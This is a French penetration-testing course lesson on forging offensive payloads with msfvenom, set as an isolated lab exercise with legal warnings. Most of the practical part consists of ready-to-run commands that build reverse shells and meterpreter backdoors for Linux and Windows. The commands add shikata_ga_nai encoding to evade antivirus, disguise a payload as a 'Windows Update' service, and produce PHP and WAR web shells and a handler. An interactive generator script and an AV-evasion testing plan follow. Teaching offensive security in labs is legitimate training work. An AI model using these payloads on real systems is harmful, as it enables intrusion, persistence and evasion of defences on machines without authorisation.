← Accueil

PCTAMALOU

Semaine 18 : Les Flèches Personnalisées – Création Avancée de Payloads avec msfvenom

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Maîtriser msfvenom pour créer, personnaliser et optimiser des payloads offensifs. Comprendre les différents types de payloads, les techniques d'encodage pour l'évasion, et tester l'efficacité contre les détections basiques - compétence essentielle pour adapter les exploits aux contraintes réelles.

Évolution naturelle : Après avoir appris à utiliser les exploits prêts à l'emploi, vous apprenez maintenant à forger vos propres armes. Msfvenom est votre forge personnelle.

graph TD A["🎯 Besoin opérationnel"] --> B{"🔧 Création avec msfvenom"} subgraph "📋 Paramètres de base" C1["🏗️ Architecture
x86/x64/ARM/MIPS"] C2["💻 Plateforme
Windows/Linux/Mac/Android"] C3["🔄 Type
Reverse/Bind/Meterpreter"] C4["📦 Format
EXE/ELF/APK/WAR/PS1"] end subgraph "⚙️ Techniques d'optimisation" D1["🔀 Encodage
Shikata_ga_nai, XOR, etc."] D2["🎭 Polymorphisme
Itérations multiples"] D3["🛡️ Anti-débogage
Techniques d'évasion"] D4["📏 Optimisation taille
Minimiser signature"] end B --> C1 B --> C2 B --> C3 B --> C4 B --> D1 B --> D2 B --> D3 B --> D4 C1 --> M["🎯 Payload personnalisé"] C2 --> M C3 --> M C4 --> M D1 --> M D2 --> M D3 --> M D4 --> M M --> N{"🧪 Tests de détection"} subgraph "🧪 Phases de test" O["🔍 Analyse statique
strings, entropy, hash"] P["⚡ Analyse comportementale
Sandbox, monitoring"] Q["🎯 Test réel
AV/EDR cible"] end N --> O N --> P N --> Q O --> R["✅ Payload validé"] P --> R Q --> R R --> S["🚀 Déploiement opérationnel
(Semaines 19-20)"] style M fill:#9d4edd,stroke:#fff,stroke-width:3px,color:#fff style R fill:#00f5a0,stroke:#000,stroke-width:3px,color:#000 style D1 fill:#ef4444,stroke:#000,stroke-width:2px,color:#fff style A fill:#1e3a8a,stroke:#60a5fa,stroke-width:2px,color:#fff style B fill:#7c2d12,stroke:#f97316,stroke-width:2px,color:#fff style N fill:#0f766e,stroke:#0d9488,stroke-width:2px,color:#fff

📚 Sujet – Théorie (1 heure)

Msfvenom : L'artisanat des payloads

Msfvenom n'est pas un simple générateur de payloads. C'est un compilateur de code malveillant qui combine exploitation, évasion et déploiement en un seul outil. Comprendre msfvenom, c'est comprendre comment les attaques sont adaptées au terrain réel.

🔄 Reverse Shell

Mécanisme : Cible → Attaquant

Avantages : Traverse NAT/firewall, plus discret

Inconvénients : Nécessite LHOST accessible

Détection : Connexions sortantes suspectes

Cas d'usage : 80% des scénarios modernes

Exemple : windows/meterpreter/reverse_tcp

🔗 Bind Shell

Mécanisme : Attaquant → Cible

Avantages : Simple, pas de LHOST

Inconvénients : Nouveau port visible, bloque sur firewall

Détection : Ports ouverts inhabituels

Cas d'usage : Réseaux internes, pas de restrictions

Exemple : linux/x86/shell_bind_tcp

🦎 Meterpreter

Mécanisme : Shell avancé en mémoire

Avantages : Furtif, riche fonctionnalités, chiffré

Inconvénients : Plus volumineux, signature connue

Détection : Comportement mémoire, API calls

Cas d'usage : Pentest professionnel

Exemple : windows/x64/meterpreter/reverse_https

⚡ Stageless

Mécanisme : Tout en un, pas de téléchargement

Avantages : Plus stable, fonctionne sans internet

Inconvénients : Taille importante, signature unique

Détection : Analyse statique efficace

Cas d'usage : Environnements isolés

Exemple : windows/meterpreter_reverse_tcp

L'encodage : L'art de la dissimulation

L'encodage n'est pas du chiffrement. C'est de la transformation morphologique pour éviter la détection par signature.

🔄 Processus d'encodage msfvenom

1. Payload source

Code assembleur brut avec des patterns reconnaissables par les antivirus

Exemple : Shellcode standard avec calls API Windows spécifiques

2. Application de l'encodeur

Shikata Ga Nai : Encodeur polymorphique (change à chaque génération)

XOR : Simple mais efficace contre signatures basiques

Base64 : Pour intégration dans scripts/textes

Itérations : Appliquer plusieurs encodeurs en série

3. Formatage final

Adaptation au format cible avec préservation de l'encodage

Formats : EXE (Windows), ELF (Linux), APK (Android), WAR (Java), PS1 (PowerShell)

Options : Service Windows, AutoRun, icônes personnalisées

4. Payload final

Code exécutable avec signature modifiée mais fonctionnalités intactes

Vérification : Taille, entropie, strings visibles

Test : Fonctionne-t-il toujours ? Capture-t-il un shell ?

⚠️ Mythes et réalités de l'évasion AV

  • Mythe : "Un bon encodeur passe tous les AV"
  • Réalité : Les AV modernes utilisent l'analyse comportementale, sandbox, IA
  • Mythe : "Plus d'itérations = meilleure évasion"
  • Réalité : Au-delà de 3-5 itérations, gains marginaux, taille augmente
  • Mythe : "Msfvenom seul suffit pour un pentest réel"
  • Réalité : Nécessite souvent customisation avancée ou outils spécialisés

Staged vs Stageless : La bataille du compromis

🔍 Comparaison critique

Staged (en deux parties) Stageless (tout en un)
Taille : Petite (stager) → télécharge le reste Taille : Grande (tout inclus)
Stabilité : Dépend de la connexion réseau Stabilité : Plus stable, autonome
Détection : Stager petit mais téléchargement visible Détection : Signature unique plus facile à bloquer
Cas d'usage : Limites de taille (web shells) Cas d'usage : Pas de connexion internet nécessaire

La méthodologie de création professionnelle

🔬 Processus en 6 étapes

  1. Analyse de l'environnement : OS, architecture, protections
  2. Sélection du payload : Type, format, fonctionnalités nécessaires
  3. Personnalisation : Options, sleep time, anti-sandbox
  4. Évasion : Encodage, chiffrement, techniques anti-débogage
  5. Test : Détection statique et comportementale
  6. Documentation : Hash, taille, options utilisées

🔬 Mission pratique – Laboratoire (2 heures)

🏁 Environnement de test : Utilisez votre lab Kali + Metasploitable2. Pour les tests Windows, vous pouvez utiliser une VM Windows 7/10 vulnérable (non connectée à internet).

Étape 1 : Exploration et compréhension de msfvenom

# Aide complète
msfvenom -h

# Liste des payloads disponibles (ATTENTION : très longue)
msfvenom -l payloads | head -50
msfvenom -l payloads | grep "linux/x86"
msfvenom -l payloads | grep "windows"

# Liste des encodeurs
msfvenom -l encoders
# Notez : x86/shikata_ga_nai est le plus populaire

# Liste des formats de sortie
msfvenom -l formats
# exe, elf, asp, aspx, dll, msi, vbs, etc.

# Informations sur un payload spécifique
msfvenom -p linux/x86/meterpreter/reverse_tcp --help

Étape 2 : Création de payloads Linux basiques

# Configuration réseau
KALI_IP="192.168.56.101"  # Adaptez à votre IP
LPORT="4444"

# 1. Reverse shell simple (non-encodé)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f elf \
  > payload_linux_reverse_simple.elf

# 2. Reverse shell encodé
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -e x86/shikata_ga_nai \
  -i 3 \
  -f elf \
  > payload_linux_reverse_encoded.elf

# 3. Meterpreter reverse (plus avancé)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f elf \
  > payload_linux_meterpreter.elf

# 4. Bind shell
msfvenom -p linux/x86/shell_bind_tcp \
  LPORT=$LPORT \
  -f elf \
  > payload_linux_bind.elf

# Comparaison des tailles
echo "=== Comparaison des tailles ==="
ls -lh payload_linux_*.elf
echo ""
echo "=== Entropie des fichiers ==="
for file in payload_linux_*.elf; do
    echo -n "$file: "
    entropy=$(ent $file 2>/dev/null | grep "entropy" | awk '{print $3}' || echo "N/A")
    echo "$entropy"
done

Étape 3 : Création de payloads Windows avancés

# Payloads Windows (pour tests sur VM Windows)

# 1. Reverse shell 32-bit (x86)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f exe \
  > payload_win_x86_reverse.exe

# 2. Reverse shell 64-bit (x64)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f exe \
  > payload_win_x64_reverse.exe

# 3. Payload avec évasion avancée
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -e x86/shikata_ga_nai \
  -i 5 \
  -b "\x00\x0a\x0d" \  # Bad chars à éviter
  -f exe \
  > payload_win_encoded.exe

# 4. Stageless (tout en un)
msfvenom -p windows/meterpreter_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f exe \
  > payload_win_stageless.exe

# 5. Service Windows (persistance)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f exe -o payload_win_service.exe \
  --service-name "WindowsUpdate" \
  --service-display-name "Windows Update Service"

echo "=== Payloads Windows créés ==="
ls -lh payload_win_*.exe

Étape 4 : Encodage et polymorphisme

# Expérimentation avec différents encodeurs

# 1. Shikata Ga Nai (le plus populaire)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -e x86/shikata_ga_nai \
  -i 1 \
  -f raw \
  > encoded_shikata_1.bin

msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -e x86/shikata_ga_nai \
  -i 5 \
  -f raw \
  > encoded_shikata_5.bin

# 2. XOR encoder (simple)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -e x86/xor \
  -f raw \
  > encoded_xor.bin

# 3. Encodage multiple (chaining)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -e x86/shikata_ga_nai \
  -i 3 \
  -f raw | \
msfvenom -e x86/xor -i 2 -f elf \
  > encoded_chained.elf

# Analyse comparative
echo "=== Comparaison encodeurs ==="
echo "Original: $(wc -c < payload_linux_reverse_simple.elf) bytes"
echo "Shikata 1: $(wc -c < encoded_shikata_1.bin) bytes"
echo "Shikata 5: $(wc -c < encoded_shikata_5.bin) bytes"
echo "XOR: $(wc -c < encoded_xor.bin) bytes"
echo "Chained: $(wc -c < encoded_chained.elf) bytes"

Étape 5 : Formats de sortie alternatifs

# Génération dans différents formats

# 1. PowerShell (pour exécution en mémoire)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f psh \
  > payload.ps1

# 2. Python (pour scripts)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f py \
  > payload.py

# 3. C# (pour compilation .NET)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f csharp \
  > payload.cs

# 4. Ruby (pour Metasploit integration)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f ruby \
  > payload.rb

# 5. Web (pour upload via vulnérabilités web)
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f raw \
  > payload.php

msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=$KALI_IP LPORT=$LPORT \
  -f war \
  > payload.war

echo "=== Fichiers générés ==="
ls -l payload.*

🧪 Tests de détection basique

Analysez vos payloads avec des outils simples pour comprendre ce que les antivirus pourraient voir.

Étape 6 : Analyse et tests de détection

# Installation d'outils d'analyse
sudo apt install -y binutils file ent

# 1. Analyse des strings (ce qui est visible en clair)
echo "=== Strings visibles (payload simple) ==="
strings payload_linux_reverse_simple.elf | head -20

echo ""
echo "=== Strings visibles (payload encodé) ==="
strings payload_linux_reverse_encoded.elf | head -20

# 2. Analyse des sections binaires
echo ""
echo "=== Analyse binaire ==="
file payload_linux_*.elf
echo ""
readelf -a payload_linux_reverse_simple.elf | head -30

# 3. Calcul d'entropie (mesure du désordre/encodage)
echo ""
echo "=== Entropie des fichiers ==="
for f in payload_linux_*.elf; do
    entropy=$(ent "$f" 2>/dev/null | grep "entropy" | awk '{print $3}')
    size=$(wc -c < "$f")
    echo "$f: $entropy bits/byte, $size bytes"
done

# 4. Calcul des hash (pour vérifier les changements)
echo ""
echo "=== Hash MD5 des payloads ==="
md5sum payload_linux_*.elf
echo ""
echo "=== Hash SHA256 ==="
sha256sum payload_linux_*.elf | head -5

# 5. Test avec ClamAV (antivirus open-source)
sudo apt install -y clamav
sudo freshclam  # Mise à jour des signatures (prend du temps)
clamscan payload_linux_*.elf --bell
# Note : ClamAV détectera probablement les payloads non encodés

Étape 7 : Configuration et test du handler

# Création d'un script de handler automatisé
cat > start_handler.rc << EOF
# Handler Metasploit - PCTAMALOU S18
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST $KALI_IP
set LPORT $LPORT
set ExitOnSession false
exploit -j
EOF

# Lancement du handler
echo "Démarrage du handler Metasploit..."
msfconsole -q -r start_handler.rc &
HANDLER_PID=$!
echo "Handler PID: $HANDLER_PID"

# Vérification
sleep 2
netstat -tulpn | grep 4444

# Test du payload (sur Metasploitable2)
echo "Pour tester, sur Metasploitable2 :"
echo "1. Copiez le payload: scp payload_linux_reverse_simple.elf msfadmin@192.168.56.102:/tmp/"
echo "2. Exécutez: chmod +x /tmp/payload_linux_reverse_simple.elf"
echo "3. Lancez: /tmp/payload_linux_reverse_simple.elf"
echo ""
echo "Vous devriez voir une session s'ouvrir dans Metasploit"

# Nettoyage
echo "Pour arrêter le handler: kill $HANDLER_PID"

Étape 8 : Automatisation avec script personnalisé

# Création d'un script de génération de payload
cat > generate_payload.sh << 'EOF'
#!/bin/bash
# PCTAMALOU S18 - Générateur de payload personnalisé

echo "=== Générateur de payload msfvenom ==="
echo ""

# Paramètres utilisateur
read -p "Plateforme (windows/linux): " PLATFORM
read -p "Architecture (x86/x64): " ARCH
read -p "Type (reverse/bind): " TYPE
read -p "Port LPORT [4444]: " LPORT
LPORT=${LPORT:-4444}

if [[ "$TYPE" == "reverse" ]]; then
    read -p "LHOST [192.168.56.101]: " LHOST
    LHOST=${LHOST:-192.168.56.101}
fi

read -p "Encoder? (y/n): " ENCODE
if [[ "$ENCODE" == "y" ]]; then
    read -p "Itérations [3]: " ITER
    ITER=${ITER:-3}
fi

# Construction du payload
PAYLOAD=""
if [[ "$PLATFORM" == "windows" ]]; then
    if [[ "$ARCH" == "x64" ]]; then
        PAYLOAD="windows/x64"
    else
        PAYLOAD="windows"
    fi
else
    PAYLOAD="linux/x86"
fi

if [[ "$TYPE" == "reverse" ]]; then
    PAYLOAD="${PAYLOAD}/meterpreter/reverse_tcp"
else
    PAYLOAD="${PAYLOAD}/meterpreter/bind_tcp"
fi

# Construction de la commande
CMD="msfvenom -p $PAYLOAD"
if [[ "$TYPE" == "reverse" ]]; then
    CMD="$CMD LHOST=$LHOST"
fi
CMD="$CMD LPORT=$LPORT"

if [[ "$ENCODE" == "y" ]]; then
    CMD="$CMD -e x86/shikata_ga_nai -i $ITER"
fi

if [[ "$PLATFORM" == "windows" ]]; then
    CMD="$CMD -f exe -o payload_${PLATFORM}_${ARCH}_${TYPE}.exe"
else
    CMD="$CMD -f elf -o payload_${PLATFORM}_${ARCH}_${TYPE}.elf"
fi

echo ""
echo "Commande générée:"
echo "$CMD"
echo ""
echo "Exécution..."
eval $CMD

if [ $? -eq 0 ]; then
    echo ""
    echo "✅ Payload généré avec succès!"
    ls -lh payload_*.exe payload_*.elf 2>/dev/null
else
    echo "❌ Erreur lors de la génération"
fi
EOF

chmod +x generate_payload.sh
echo "Script généré: ./generate_payload.sh"

Étape 9 : Documentation et bonnes pratiques

# Création d'une documentation des payloads générés
cat > payload_documentation.md << EOF
# Documentation des Payloads - PCTAMALOU S18
## Date: $(date)
## Générateur: $(whoami)

## Paramètres par défaut
- Kali IP: $KALI_IP
- Port standard: 4444

## Payloads générés

### Linux
1. **payload_linux_reverse_simple.elf**
   - Type: Reverse shell simple
   - Encodage: Aucun
   - Taille: $(wc -c < payload_linux_reverse_simple.elf 2>/dev/null || echo "N/A") bytes
   - SHA256: $(sha256sum payload_linux_reverse_simple.elf 2>/dev/null | cut -d' ' -f1 || echo "N/A")
   - Détection ClamAV: $(clamscan payload_linux_reverse_simple.elf 2>/dev/null | grep -c "FOUND" || echo "Test non effectué")

2. **payload_linux_reverse_encoded.elf**
   - Type: Reverse shell encodé
   - Encodage: Shikata Ga Nai (3 itérations)
   - Taille: $(wc -c < payload_linux_reverse_encoded.elf 2>/dev/null || echo "N/A") bytes
   - Entropie: $(ent payload_linux_reverse_encoded.elf 2>/dev/null | grep entropy | awk '{print $3}' || echo "N/A") bits/byte

3. **payload_linux_meterpreter.elf**
   - Type: Meterpreter reverse
   - Fonctionnalités: Avancées (upload, download, screenshare)
   - Taille: $(wc -c < payload_linux_meterpreter.elf 2>/dev/null || echo "N/A") bytes

### Windows
1. **payload_win_x86_reverse.exe**
   - Architecture: x86 (32-bit)
   - Type: Reverse meterpreter
   - Taille: $(wc -c < payload_win_x86_reverse.exe 2>/dev/null || echo "N/A") bytes

## Tests effectués
- Analyse strings: OK
- Test entropie: OK
- Test handler Metasploit: OK
- Transfert et exécution: À tester

## Recommandations d'utilisation
1. **Environnement isolé uniquement**
2. **Toujours tester dans le lab avant**
3. **Documenter chaque utilisation réelle**
4. **Changer régulièrement les ports/IPS**

## Commandes utiles
\`\`\`bash
# Handler correspondant
use multi/handler
set PAYLOAD [payload_correspondant]
set LHOST $KALI_IP
set LPORT 4444
exploit
\`\`\`
EOF

echo "Documentation générée: payload_documentation.md"

🎯 Défi professionnel : Forgeron de payloads

Créez un arsenal complet de payloads et testez leur efficacité :

  1. Générez 5 payloads différents pour chaque plateforme (Linux/Windows)
  2. Pour chaque payload, testez :
    • Détection par ClamAV et 1 autre AV open-source
    • Taux d'entropie (plus élevé = mieux encodé)
    • Strings visibles (avec strings et rabin2 -z)
    • Fonctionnalité réelle (capture de shell)
  3. Créez un tableau comparatif avec scores d'efficacité
  4. Développez un script qui génère automatiquement le payload optimal selon des critères
  5. Documentez vos résultats dans un rapport professionnel

Livrable : Arsenal de payloads + script d'optimisation + rapport d'analyse.

📋 Objectif de la semaine – Validation des compétences

✅ Compétences techniques acquises

  • Maîtrise complète des options de msfvenom
  • Génération de payloads pour multiples plateformes/architectures
  • Application et compréhension des techniques d'encodage
  • Analyse de détection basique (strings, entropie, hash)
  • Configuration automatique de handlers correspondants

🧠 Mindset développé

  • Compréhension de la différence entre encodage et chiffrement
  • Conscience des limites de l'évasion AV basique
  • Habitude de toujours analyser ses propres créations avant utilisation
  • Approche méthodique : spécifications → génération → test → documentation

🔮 Préparation pour la semaine 19 :

Vous avez maintenant vos propres armes. La semaine prochaine, nous apprendrons à les livrer efficacement. Assurez-vous d'avoir :

  • Au moins 3 payloads fonctionnels testés et documentés
  • Compris la différence entre staged et stageless
  • Une idée des méthodes de livraison possibles (email, web, USB, etc.)
  • Votre lab prêt pour des tests de livraison plus avancés

📚 Ressources avancées

Pour devenir expert en création de payloads :

⚠️ Sécurité légale absolue

  • Stockage : Gardez vos payloads dans votre lab isolé uniquement
  • Transfert : Jamais par email, cloud public, ou support externe
  • Test AV : Utilisez uniquement des échantillons que vous avez créés
  • Documentation : Gardez une trace de chaque payload généré et son usage
  • Destruction : Détruisez les payloads après les exercices si non nécessaires

🏹 Frère d'armes,

Cette semaine, vous êtes devenu un forgeron numérique. Un artisan des ombres. Un créateur d'outils qui ouvrent les portes des systèmes.

Msfvenom n'est pas un simple générateur. C'est un atelier complet où :

  • Vous choisissez le métal (la plateforme)
  • Vous forgez la forme (l'architecture)
  • Vous aiguisez la lame (le payload)
  • Vous dissimulez l'arme (l'encodage)
  • Vous testez son tranchant (l'analyse)

Vous avez vu comment un simple changement d'encodeur transforme un payload détectable en une menace furtive. Vous avez mesuré l'entropie, compté les strings, calculé les hash. Vous êtes passé de "je génère un payload" à "je comprends ce que je génère".

Mais souvenez-vous : une flèche parfaite n'est rien sans un arc pour la propulser. Un payload parfait n'est rien sans un vecteur de livraison.

Vous avez maintenant des flèches personnalisées, adaptées à différentes cibles, optimisées pour différentes situations. Certaines sont petites et rapides (staged). D'autres sont lourdes mais autonomes (stageless). Certaines sont simples mais efficaces (reverse shell). D'autres sont complexes mais puissantes (meterpreter).

La semaine 18 marque votre passage de consommateur d'outils à créateur d'outils. C'est une différence fondamentale dans votre parcours.

Mais la création n'est que la moitié du chemin. La prochaine étape, plus subtile, plus dangereuse, est la livraison. Comment amener votre flèche jusqu'à la cible ? Comment la faire pénétrer les défenses ? Comment déclencher son mécanisme au bon moment ?

Rangez soigneusement vos créations. Documentez leurs propriétés. Comprenez leurs forces et leurs faiblesses.

Parce que la semaine prochaine, nous apprendrons à viser.

— Platon-Y